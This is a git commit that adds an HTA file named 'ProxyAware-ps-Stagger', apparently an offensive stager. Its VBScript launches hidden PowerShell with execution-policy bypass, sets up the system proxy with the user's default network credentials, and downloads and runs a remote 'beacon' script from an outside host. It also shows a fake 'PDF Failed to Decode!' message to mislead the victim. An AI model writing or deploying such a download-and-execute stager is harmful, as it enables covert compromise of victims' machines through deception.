Create ProxyAware-ps-Stagger.hta

killswitch-GUI · killswitch-GUI · commit 14e8880398b3 · 2016-02-29T15:30:39.000-05:00
diff --git a/ProxyAware-ps-Stagger.hta b/ProxyAware-ps-Stagger.hta
@@ -0,0 +1,17 @@
+<script language="VBScript">
+	Function var_func()
+		Dim var_shell
+		Set var_shell = CreateObject("Wscript.Shell")
+		var_shell.run "cmd.exe /c powershell.exe -exec bypass -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX ($wc.downloadstring('http://site.org/beacon'))", 0, true
+		# Beacon is a Fully Staged .ps1
+	End Function
+
+	Function TestBox()
+		Msgbox "Client name (PDF Failed to Decode!)"
+	End Function
+
+	TestBox
+	var_func
+
+	self.close
+</script>
